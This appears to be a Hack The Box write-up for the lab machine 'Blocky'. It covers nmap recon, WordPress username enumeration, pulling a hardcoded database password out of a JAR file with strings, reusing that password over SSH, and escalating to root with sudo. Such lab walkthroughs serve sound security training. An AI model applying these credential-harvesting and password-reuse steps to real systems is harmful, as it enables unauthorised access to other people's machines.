Blocky Walkthrough
Machine: Blocky#
Date: 19-03-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap:#
nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP
Results:
- Port 21 β FTP (ProFTPD 1.3.5a) β anonymous login denied
- Port 22 β SSH (OpenSSH 7.2p2, Ubuntu)
- Port 80 β HTTP (Apache 2.4.18) β redirects to blocky.htb
- Port 8192 β closed
Notes:
- Added hostname to /etc/hosts:
echo "10.129.6.235 blocky.htb" | sudo tee -a /etc/hosts - Website is a Minecraft-themed WordPress blog
- FTP anonymous access denied
π Enumeration#
Web:#
- WordPress site at
http://blocky.htb - Directory
http://blocky.htb/plugins/accessible β contains two JAR files:BlockyCore.jar(883 B) β interestinggriefprevention-1.11.2-3.1.1.298.jar(520 KB)
WordPress user enumeration:#
curl http://blocky.htb/?author=1
β Redirects to /index.php/author/notch/ β username: notch
JAR analysis:#
jar xf BlockyCore.jar
strings BlockyCore.jar | grep -i "pass\|user\|root\|sql"
Credentials found hardcoded in BlockyCore.class:
sqlUser = rootsqlPass = 8YsqfCTnvxAUeduzjNSXe22
π₯ Exploitation#
- DB password reused as system password for user
notch - SSH login:
ssh notch@$MACHINE_IP
# password: [REDACTED]
Result: Shell as notch β
β‘ Privilege Escalation#
Enumeration:
sudo -l
# (ALL : ALL) ALL β notch can run anything as root
Escalation:
sudo su
# password: [REDACTED]
Successful escalation: root β
π― Loot / Flags#
- user.txt: ``[FLAG REDACTED]`
- root.txt: ``[FLAG REDACTED]`
π Lessons Learned#
- Always download and analyse custom JAR/class files β developers hardcode credentials
stringson a JAR is the fastest way to find plaintext secrets without a decompiler- WordPress author enumeration via
/?author=1reveals valid usernames instantly - Database credentials are very often reused as system user passwords β always try them on SSH
(ALL : ALL) ALLin sudo -l = instant root withsudo su- Check
/plugins/and other non-standard web directories during enumeration
#Linux #HTB #Enumeration #Web #Apache #WordPress #FTP #UserEnumeration #Plugins #JAR #CredentialExtraction #HardcodedCredentials #Strings #PasswordReuse #SSH #PrivilegeEscalation #Sudo #PostExploitation
Adapted from MountainFlayer/htb-writeups under MIT.